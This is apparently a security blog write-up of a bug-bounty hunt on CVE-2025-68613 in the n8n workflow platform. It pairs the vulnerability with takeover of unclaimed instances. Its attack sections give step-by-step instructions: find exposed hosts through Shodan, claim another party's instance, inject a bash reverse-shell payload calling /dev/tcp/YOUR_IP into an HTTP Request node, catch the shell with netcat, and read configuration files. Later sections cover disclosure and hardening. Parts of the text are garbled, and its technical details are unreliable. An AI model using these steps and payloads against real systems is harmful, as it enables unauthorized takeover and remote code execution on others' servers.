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Introduction:
The discovery of a critical Remote Code Execution (RCE) vulnerability, CVE-2025-68613, in the popular workflow automation platform n8n sent shockwaves through the security community. This case study dissects a real-world bug bounty hunt where the researcher not only identified the vulnerability but also chained it with an instance takeover, transforming a theoretical exploit into a concrete system compromise. The incident underscores the critical intersection of unpatched software, poor initial setup security, and the ethical hunter’s methodology.
Learning Objectives:
- Understand the exploit chain for CVE-2025-68613 in n8n, from reconnaissance to RCE.
- Learn methods for identifying unclaimed or misconfigured SaaS and self-hosted instances.
- Master the ethical disclosure process for vulnerabilities found in the wild outside of formal bug bounty programs.
- Develop a methodology for assessing risk based on version exposure alone.
- Implement hardening steps for n8n and similar platforms against takeover and RCE.
You Should Know:
1. Reconnaissance and Vulnerability Identification
The first step is identifying potential targets. For a known CVE, this involves scanning for services running the vulnerable software version.
Step‑by‑step guide:
- Version Discovery: Use shodan.io or similar IoT search engines. A Shodan query might look like:
http.html:"n8n" AND http.title:"n8n". Review the response headers or page content for version information. - Banner Grabbing: For direct service interrogation, use `netcat` or
curl.curl -sI http://target-ip:5678/ | grep -i "server|version"
or, if the version is in the source code:
curl -s http://target-ip:5678/ | grep -oP 'n8n v\d+.\d+.\d+'
- Vulnerability Mapping: Cross-reference the discovered version (e.g., n8n prior to versions 1.96.2, 1.97.2, or 1.98.1) with the CVE-2025-68613 advisory. Any instance below these patched versions is theoretically vulnerable.
2. The Initial Foothold: Account and Instance Takeover
A critical twist in this case was the discovery of an unclaimed n8n instance. n8n, when first installed, often requires an initial user registration. If this step is not completed by the administrator, any visitor can become the owner.
Step‑by‑step guide:
- Identify Unclaimed Instances: Navigate to the n8n login page (
/login). If the instance is unclaimed, you may be redirected to a setup page (/setup) or see prominent “Claim Instance” prompts. - Claim the Instance: Follow the registration flow, providing an email and password. This action grants you administrative privileges over the entire n8n workflow engine.
- Implication: This is a severe misconfiguration leading to full platform compromise. It provides the authenticated session required to exploit CVE-2025-68613.
3. Exploiting CVE-2025-68613 for Authenticated RCE
The core vulnerability lies in the “HTTP Request” node, where user input in the `Authentication` dropdown for the `Generic Credential Type` was not properly sanitized, allowing injection of system commands.
Step‑by‑step guide (for educational/pentesting purposes only on authorized systems):
1. Authenticate: Log into the n8n instance with your newly claimed credentials.
2. Create a New Workflow: Click “New” to create a workflow.
3. Add an HTTP Request Node: Drag and drop the “HTTP Request” node onto the canvas.
4. Configure the Node for Exploit:
Set `Authentication` to `Generic Credential Type`.
In the `Username` field, inject the command. The exploit uses JavaScript template string interpolation. Example to run a reverse shell:
${global.process.mainModule.require('child_process').exec('bash -c "bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1"')}
Set `Password` to any value (e.g., `x`).
Configure a valid URL (e.g., `http://example.com`).
5. Execute and Catch the Shell: Activate the workflow and execute the node. Simultaneously, have a netcat listener running on your attack machine:
nc -nvlp YOUR_PORT
Successful exploitation will provide a reverse shell with the privileges of the n8n process (often a privileged user or even root in containerized deployments).
4. Post-Exploitation: Evidence Gathering and Pivoting
Once RCE is achieved, responsible hunters must document the proof of compromise without causing damage.
Step‑by‑step guide for evidence:
- Show User Context: Run `id` and `whoami` commands.
id uid=1000(node) gid=1000(node) groups=1000(node)
- Show Process and Environment: Run `env` and `ps aux` to understand the service context.
- Demonstrate File Read: Show you can read the n8n configuration (
config/n8n-config.tsor similar) to prove access level.cat ~/.n8n/config
- Limit Exploration: Do not navigate beyond necessary directories. Do not exfiltrate sensitive user data. Your goal is to prove vulnerability, not compromise privacy.
5. The Ethical Dilemma: Reporting Unvalidated Instances
The hunter’s question is pivotal: Should you report instances identified solely by their vulnerable version?
Step‑by‑step guide for responsible reporting:
- Gather Evidence: Document the IP/domain, the exposed version string (via screenshot or curl output), and the CVE details.
- Check for a VDP/Policy: Use resources like
https://securitytxt.org/` (/.well-known/security.txt`) or the organization’s security page to find a reporting policy. - Craft the Report: If a Vulnerability Disclosure Program (VDP) exists, submit a report stating:
The asset and vulnerable version.
The public CVE details and CVSS score.
That you have not attempted exploitation due to lack of authorization.
That the version is confirmed vulnerable and a public exploit exists.
4. Severity Expectation: Such reports are often triaged as “Informational” or “Low” severity, as they require chaining with another vulnerability (like authentication bypass) for critical impact. However, they provide crucial intelligence to the asset owner.
6. Mitigation and Hardening for Defenders
To prevent such attack chains, system administrators must act swiftly.
Step‑by‑step hardening guide:
- Immediate Patching: Update n8n to version 1.96.2, 1.97.2, 1.98.1, or later.
Example for Docker deployments docker pull n8nio/n8n:latest docker-compose down && docker-compose up -d
- Secure Initial Setup: Always complete the initial user registration immediately after deployment. Consider deploying behind a VPN or with IP allow-listing during setup.
- Network Security: Do not expose n8n management ports (5678 default) directly to the internet. Place it behind a reverse proxy with strong authentication (e.g., OAuth, SSO).
- Principle of Least Privilege: Run the n8n process under a dedicated, unprivileged user account, not as root.
- Regular Audits: Implement vulnerability scanning for your external and internal assets to catch unpatched services.
What Undercode Say:
- The Chain is King: The highest impact vulnerabilities are rarely exploited in isolation. This case is a classic example of chaining a misconfiguration (unclaimed instance) with a technical vulnerability (RCE) to achieve a devastating result. Hunters and defenders must think in terms of attack chains.
- Passive Recon is Power: The initial discovery of vulnerable versions required no active exploitation, just intelligent information gathering. This passive footprinting phase is where many successful campaigns begin and where defenders can often spot their own exposure.
This case exemplifies modern bug bounty hunting: it’s not just about running an exploit script. It involves persistent reconnaissance, creative problem-solving when faced with an authentication barrier, and strict ethical adherence. The hunter’s hesitation about reporting version-only findings highlights the nuanced judgment required in the field. Defenders must treat exposed version information as a legitimate low-severity threat, as it provides a direct roadmap for attackers.
Prediction:
The convergence of SaaS-like deployment models (easy self-hosting) with complex, parameter-heavy applications like n8n will lead to a surge in similar “setup & forget” vulnerabilities. We will see an increase in CVEs that, while requiring authentication, become critical when paired with common admin panel misconfigurations or default credentials. Automated bots will soon not just scan for versions but also attempt benign “instance claiming” or default login flows, instantly elevating a technical vulnerability to an immediately exploitable one. The future of application security will demand “secure-by-default” initial configurations and more sophisticated post-deployment security checks integrated directly into the software’s first-run experience.
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IT/Security Reporter URL:
Reported By: Rahisec Cveabr2025abr68613 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
